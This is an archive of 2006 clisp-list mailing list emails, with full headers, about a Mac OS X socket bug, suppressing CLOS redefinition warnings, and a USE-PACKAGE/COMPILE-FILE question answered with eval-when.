Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 07:43:01 2006 X-Original-Date: Mon, 16 Jan 2006 10:40:57 -0500 > * Dan Starr [2006-01-15 10:28:37 -0500]: > > The diminished sockets.erg file follows ... file:line is not captured in sockets.erg at any rate, this bug appears to have been introduced after 2.36, probably on 2005-12-19, so we just need to debug it and fix it. use gdb. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org http://www.iris.org.il http://www.memri.org http://pmw.org.il http://truepeace.org http://www.jihadwatch.org Never let your schooling interfere with your education. From icosahedron@gmail.com Mon Jan 16 08:25:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyXAK-0005r9-Bi for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:25:08 -0800 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyX9w-0001l4-4k for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:24:44 -0800 Received: by zproxy.gmail.com with SMTP id i11so1140568nzi for ; Mon, 16 Jan 2006 08:24:43 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=F2ZPCWqSSsNgNTowNI9C5Pm+bnlJaf3m6+JPWjhR4viCE06pH6t3g9hzMU6N/sZsgKLCBIepJTD0rm6XLf7IOA1so4B1FUqkRzSeTxtD6DYCKY50cxfypD3rETs3ETd+Qi3S/ahNohufrGv9oXvQQ6/MY4SE+hbS7oeyHLha2cI= Received: by 10.65.112.3 with SMTP id p3mr585378qbm; Mon, 16 Jan 2006 08:24:43 -0800 (PST) Received: by 10.65.157.3 with HTTP; Mon, 16 Jan 2006 08:24:43 -0800 (PST) Message-ID: <5a69947e0601160824u534fda72k400ed72223bc8eaf@mail.gmail.com> From: Bilbo To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Turning off "Replacing method warnings" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 08:26:00 2006 X-Original-Date: Mon, 16 Jan 2006 08:24:43 -0800 I was wondering if there is an easy way to turn off the "Replacing method" warnings when recompiling a file? I used to have a way that worked in some software I recently restarted developing. When developing the software before, I had a small snippet of lisp that would turn off these warnings when I recompiled. It doesn't seem to be working any more. This is the snippet: #+CLISP (eval-when (:load-toplevel :compile-toplevel :execute) (defvar old-warning) (defvar old-gf-warning) (defvar old-gf-replace-all) (setq old-warning clos::*warn-if-gf-already-called* =09=09old-gf-warning clos::*gf-warn-on-replacing-method* =09=09old-gf-replace-all clos::*gf-warn-on-removing-all-methods*) (ext:without-package-lock () =09=09=09=09=09=09(setf clos:*warn-if-gf-already-called* nil =09=09=09=09=09=09=09 clos:*gf-warn-on-replacing-method* nil =09=09=09=09=09=09=09 clos:*gf-warn-on-removing-all-methods* nil))) This served me well before, but it seems to be generating errors now.=20 For one, even though I have the "without-package-lock", it claims that CLOS is a locked package. Continuing from that error, *gf-warn-on-replacing-method* seems to have gone (I can't find it with a grep), and *warn-if-gf-already-called* is not marked external, and *gf-warn-on-removing-all-methods* is gone as well. I read a message stating that custom:*suppress-check-redefinition* would solve another similar message, so I tried (setf custom:*suppress-check-redefinition* t) but that doesn't seem to get rid of the warnings. Thanks for any help. I appreciate CLISP quite a bit. It's nice having a quality Common Lisp implementation avaiable for Windows. From sds@gnu.org Mon Jan 16 08:33:37 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyXIX-0006Qs-MF for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:33:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyXIR-0006g7-EI for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:33:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0GGX6v1008061; Mon, 16 Jan 2006 11:33:06 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 16 Jan 2006 08:30:29 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: export of *eq-hashfunction* and friends Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 08:34:13 2006 X-Original-Date: Mon, 16 Jan 2006 11:32:14 -0500 > * Tomas Zellerin [2006-01-16 08:30:29 +0100]: > > are *eq-hashfunction* and its eql and equal counterparts supposed to > be exported from ext package (as indicated in implementation notes) or > not (as in reality - 2.37)? fixed in the CVS, thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.mideasttruth.com http://www.memri.org http://www.iris.org.il http://www.camera.org Small languages require big programs, large languages enable small programs. From sds@gnu.org Mon Jan 16 08:40:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyXPZ-0006l3-Eq for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:40:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyXPX-000230-NQ for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 08:40:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0GGeCun008428; Mon, 16 Jan 2006 11:40:18 -0500 (EST) To: clisp-list@lists.sourceforge.net, jgraham@sk-tech.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43C2AE35.8000807@sk-tech.com> (Jeffrey Graham's message of "Mon, 09 Jan 2006 12:40:53 -0600") References: <43C2AE35.8000807@sk-tech.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, jgraham@sk-tech.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: GNU lisp with CORBA? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 08:41:12 2006 X-Original-Date: Mon, 16 Jan 2006 11:39:27 -0500 > * Jeffrey Graham [2006-01-09 12:40:53 -0600]: > > How can I get CORBA to work with GNU clisp? http://www.google.com/search?q=corba+clisp _first_ hit should tell you plenty. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com http://www.jihadwatch.org http://ffii.org http://www.palestinefacts.org http://www.camera.org He who laughs last did not get the joke. From jdunrue@gmail.com Mon Jan 16 17:31:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eyfgu-0006HX-6c for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 17:31:20 -0800 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eyfgt-0000HY-TV for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 17:31:20 -0800 Received: by zproxy.gmail.com with SMTP id z3so1167879nzf for ; Mon, 16 Jan 2006 17:31:18 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=h1w9T2MdoyXnLoECDh5JIjgcNd3IrpL7MidNA7vRc4o6fCXvpL+tpzhfAfg8BesdR5TUfZSjoN79rtPuXa6RIMfVkLbRghH/VBOKc/ByorfiNdaQb3Y6oB1JLZu1XviUWe/OseT0faxOD6hLU3usuIpxlSxArWSlPuTwfNIIzxk= Received: by 10.65.252.19 with SMTP id e19mr3611582qbs; Mon, 16 Jan 2006 17:31:18 -0800 (PST) Received: by 10.65.176.4 with HTTP; Mon, 16 Jan 2006 17:31:18 -0800 (PST) Message-ID: From: Jack Unrue To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] DEFMACRO / USE-PACKAGE / COMPILE-FILE behavior question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 17:32:04 2006 X-Original-Date: Mon, 16 Jan 2006 18:31:18 -0700 Hello! I'd be happy to learn that the following is due to misunderstanding on my part, but nonetheless I need to ask. Why does this test case saved in a file (defpackage #:foo (:use #:common-lisp) (:export #:testit)) (in-package :foo) (defmacro testit (name) `(eval-when (:compile-toplevel :load-toplevel :execute) (print ',name))) (in-package :cl-user) (use-package :foo) (testit XYZ) generate this output when COMPILE-FILE'd [1]> (compile-file "c:/test.lisp") ;; Compiling file C:\test.lisp ... WARNING in 17 17 (TESTIT XYZ)-6 in line 14 : XYZ is neither declared nor bound, it will be treated as if it were declared SPECIAL. ;; Wrote file C:\test.fas The following functions were used but not defined: TESTIT The following special variables were not defined: XYZ 0 errors, 1 warning #P"C:\\test.fas" ; 1 ; 1 while this variation: (defpackage #:foo (:use #:common-lisp) (:export #:testit)) (in-package :foo) (defmacro testit (name) `(eval-when (:compile-toplevel :load-toplevel :execute) (print ',name))) (in-package :cl-user) (foo:testit XYZ) does not? [1]> (compile-file "c:/test.lisp") ;; Compiling file C:\test.lisp ... XYZ ;; Wrote file C:\test.fas 0 errors, 0 warnings #P"C:\\test.fas" ; NIL ; NIL The above examples were run in separate clisp sessions where test.fas amd test.lib were deleted prior to each experiment. Am I incorrect in expecting that the latter is the correct behavior for both variations of code? The version of clisp I'm running is: % clisp --version GNU CLISP 2.37 (2006-01-02) (built on stnt067 [192.168.0.1]) Software: GNU C 3.4.2 (mingw-special) .... -- Jack From jdunrue@gmail.com Mon Jan 16 17:37:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eyfmt-0006cO-PT for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 17:37:31 -0800 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eyfmr-0006Qv-Hr for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 17:37:31 -0800 Received: by zproxy.gmail.com with SMTP id z3so1168643nzf for ; Mon, 16 Jan 2006 17:37:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=YAbZ+1RhPUBJHZG3n5zt99+TC0082NvRxhbhwct/DSJ5/TOdSgQYfFL1T6b4txMx8VjBxBIyixacaJ7XB2UZJnryDnrK0LQ7bjlu1fcTnuc78f63FtdkjJ6KUERPh08Z9dRjvdpVetBs2to9E8o7j8AYsEoUfu7M+4FrbTyUJ9Y= Received: by 10.64.220.8 with SMTP id s8mr2523161qbg; Mon, 16 Jan 2006 17:37:28 -0800 (PST) Received: by 10.65.176.4 with HTTP; Mon, 16 Jan 2006 17:37:28 -0800 (PST) Message-ID: From: Jack Unrue To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: DEFMACRO / USE-PACKAGE / COMPILE-FILE behavior question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 17:38:03 2006 X-Original-Date: Mon, 16 Jan 2006 18:37:28 -0700 I wrote: > > ;; Compiling file C:\test.lisp ... > WARNING in 17 17 (TESTIT XYZ)-6 in line 14 : Small mistake in my transcription of the diagnostics. That should be WARNING in 14 14 (TESTIT XYZ)-6 in line 14 : -- Jack From gwking@metabang.com Mon Jan 16 18:20:35 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EygSZ-0001e2-FA for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 18:20:35 -0800 Received: from saturn.westnic.net ([67.18.234.196]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EygSY-0001eS-24 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 18:20:35 -0800 Received: from [71.195.201.48] (helo=[10.0.1.5]) by saturn.westnic.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.52) id 1EygSP-0001Dr-0c; Mon, 16 Jan 2006 21:20:25 -0500 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <0B1E8F35-FA11-4E3A-8BC7-D670FE771358@metabang.com> Cc: clisp-list@lists.sourceforge.net Reply-To: gwking@metabang.com Content-Transfer-Encoding: quoted-printable From: Gary King Subject: Re: [clisp-list] DEFMACRO / USE-PACKAGE / COMPILE-FILE behavior question To: Jack Unrue X-Mailer: Apple Mail (2.746.2) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - saturn.westnic.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - metabang.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 18:21:04 2006 X-Original-Date: Mon, 16 Jan 2006 21:20:27 -0500 Hi Jack, I think that section "3.2.3.1 Processing of Top Level Forms" of the =20 hyperspec will make this clearer. My understanding is that the use-=20 package form is not being evaluated at compile time which means that =20 the testit symbol isn't found. If i wrap an eval-when around the use-=20 package, I get happiness and joy. > (defpackage #:baz > (:use #:common-lisp) > (:export #:testit)) > > (in-package :baz) > > (defmacro testit (name) > `(eval-when (:compile-toplevel :load-toplevel :execute) > (print ',name))) > > (in-package :cl-user) > (eval-when (:compile-toplevel :load-toplevel :execute) > (use-package :baz)) > (testit XYZ) On Jan 16, 2006, at 8:31 PM, Jack Unrue wrote: > Hello! I'd be happy to learn that the following is due to > misunderstanding on my part, but nonetheless I need > to ask. > > Why does this test case saved in a file > > (defpackage #:foo > (:use #:common-lisp) > (:export #:testit)) > > (in-package :foo) > > (defmacro testit (name) > `(eval-when (:compile-toplevel :load-toplevel :execute) > (print ',name))) > > (in-package :cl-user) > (use-package :foo) > (testit XYZ) > > generate this output when COMPILE-FILE'd > > [1]> (compile-file "c:/test.lisp") > > ;; Compiling file C:\test.lisp ... > WARNING in 17 17 (TESTIT XYZ)-6 in line 14 : > XYZ is neither declared nor bound, > it will be treated as if it were declared SPECIAL. > ;; Wrote file C:\test.fas > The following functions were used but not defined: > TESTIT > The following special variables were not defined: > XYZ > 0 errors, 1 warning > #P"C:\\test.fas" ; > 1 ; > 1 > > while this variation: > > (defpackage #:foo > (:use #:common-lisp) > (:export #:testit)) > > (in-package :foo) > > (defmacro testit (name) > `(eval-when (:compile-toplevel :load-toplevel :execute) > (print ',name))) > > (in-package :cl-user) > (foo:testit XYZ) > > does not? > > [1]> (compile-file "c:/test.lisp") > > ;; Compiling file C:\test.lisp ... > XYZ > ;; Wrote file C:\test.fas > 0 errors, 0 warnings > #P"C:\\test.fas" ; > NIL ; > NIL > > > The above examples were run in separate clisp sessions where > test.fas amd test.lib were deleted prior to each experiment. > > Am I incorrect in expecting that the latter is the correct > behavior for both variations of code? > > The version of clisp I'm running is: > > % clisp --version > GNU CLISP 2.37 (2006-01-02) (built on stnt067 [192.168.0.1]) > Software: GNU C 3.4.2 (mingw-special) > .... > > -- > Jack > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do you grep through =20 > log files > for problems? Stop! Download the new AJAX search engine that makes > searching your log files as easy as surfing the web. DOWNLOAD =20 > SPLUNK! > http://ads.osdn.com/?ad_idv37&alloc_id=16865&op=3Dclick > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list --=20 Gary Warren King metabang.com http://www.metabang.com/ From jdunrue@gmail.com Mon Jan 16 19:30:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyhY8-0004Gu-TA for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 19:30:24 -0800 Received: from zproxy.gmail.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyhY7-0008Gl-K9 for clisp-list@lists.sourceforge.net; Mon, 16 Jan 2006 19:30:24 -0800 Received: by zproxy.gmail.com with SMTP id z3so1181696nzf for ; Mon, 16 Jan 2006 19:30:23 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=qPYGg7Gh+j26wWaUHT1y3X+dO8euUQHKDoxLwy8atkYv5Ns6iqIxQgv4WQx8PNoWGhFSC3qpq3r1sgUicTkqq9SndRz4a7YlE1GY5tu6d2XajlMwKWE8W9HFHZ5G6ItGk6FIUbLFSHfZ7EBx0wnS0rUjsuvu9kIwCn4UnweG6To= Received: by 10.64.220.8 with SMTP id s8mr2550763qbg; Mon, 16 Jan 2006 19:30:22 -0800 (PST) Received: by 10.65.176.4 with HTTP; Mon, 16 Jan 2006 19:30:22 -0800 (PST) Message-ID: From: Jack Unrue To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEFMACRO / USE-PACKAGE / COMPILE-FILE behavior question In-Reply-To: <0B1E8F35-FA11-4E3A-8BC7-D670FE771358@metabang.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <0B1E8F35-FA11-4E3A-8BC7-D670FE771358@metabang.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 16 19:31:03 2006 X-Original-Date: Mon, 16 Jan 2006 20:30:22 -0700 On 1/16/06, Gary King wrote: > Hi Jack, > > I think that section "3.2.3.1 Processing of Top Level Forms" of the > hyperspec will make this clearer. My understanding is that the use- > package form is not being evaluated at compile time which means that > the testit symbol isn't found. If i wrap an eval-when around the use- > package, I get happiness and joy. > > [snip] Thanks, Gary. -- Jack From lenst@lysator.liu.se Tue Jan 17 01:43:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EynMm-0003xX-8G for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 01:43:04 -0800 Received: from mail.lysator.liu.se ([130.236.254.3]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EynMj-0003h2-Gg for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 01:43:04 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.lysator.liu.se (Postfix) with ESMTP id 61A84200A1A4 for ; Tue, 17 Jan 2006 10:42:56 +0100 (CET) Received: from mail.lysator.liu.se ([127.0.0.1]) by localhost (lenin.lysator.liu.se [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 03439-01-71 for ; Tue, 17 Jan 2006 10:42:55 +0100 (CET) Received: from [172.17.0.2] (c-6802e255.211-6-64736c11.cust.bredbandsbolaget.se [85.226.2.104]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.lysator.liu.se (Postfix) with ESMTP id C802E200A21C for ; Tue, 17 Jan 2006 10:42:55 +0100 (CET) Message-ID: <43CCBC18.8060501@lysator.liu.se> From: Lennart Staflin User-Agent: Mozilla Thunderbird 1.0.7 (Macintosh/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Mac OS X make check References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lysator.liu.se X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 01:44:00 2006 X-Original-Date: Tue, 17 Jan 2006 10:42:48 +0100 Sam Steingold wrote: > see also http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355 > > please also try the appended patch. > thanks. > I tried the patch with a recent cvs checkout and it worked. //Lennart Staflin From sds@gnu.org Tue Jan 17 06:22:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eyrio-0000vY-Rh for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:22:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eyrij-0007P6-8l for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:22:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0HELKre014637 for ; Tue, 17 Jan 2006 09:21:20 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 06:23:05 2006 X-Original-Date: Tue, 17 Jan 2006 09:20:35 -0500 clisp 2.37 has a bug on open :if-exists :append, so I want to release 2.38 ASAP. the only blocker is the mac os x socket bug. it has been reported that this bug was not present in 2.36, so the brute force "fill everything with 0" patch will NOT go in. since the mac os x SF CF hosts are dead, I cannot debug this. it is up to you, the mac os x users, to close this issue. what you have to do is: 1. make sure that it was the Dec 19 "(SOCKET-SERVER): accept keywords :INTERFACE :BACKLOG" patch that broke mac os x 2. find out why it fails (using, e.g., strace). specifically, (socket-server) and (socket-server 3456) - do they work or fail on 2.37 and 2.36? what are the traces (around the failed calls and the corresponding sucessful calls) it is up to you to ensure that sockets work on your system in clisp 2.38. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org http://pmw.org.il http://www.memri.org http://ffii.org http://www.mideasttruth.com http://truepeace.org Trespassers will be shot. Survivors will be prosecuted. From dgou@mac.com Tue Jan 17 06:38:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyryV-0001t1-5H for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:38:19 -0800 Received: from smtpout.mac.com ([17.250.248.70]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyryT-00066J-04 for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:38:19 -0800 Received: from mac.com (webmail16-en1 [10.13.10.142]) by smtpout.mac.com (Xserve/8.12.11/smtpout13/MantshX 4.0) with ESMTP id k0HEc7Gh017674 for ; Tue, 17 Jan 2006 06:38:07 -0800 (PST) Received: from webmail16 (localhost [127.0.0.1]) by mac.com (Xserve/webmail16/MantshX 4.0) with ESMTP id k0HEc7Tk012649 for ; Tue, 17 Jan 2006 06:38:07 -0800 (PST) Message-ID: <9561874.1137508687768.JavaMail.dgou@mac.com> From: Doug Philips To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] mac os x socket problems and 2.38 in-reply-to: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 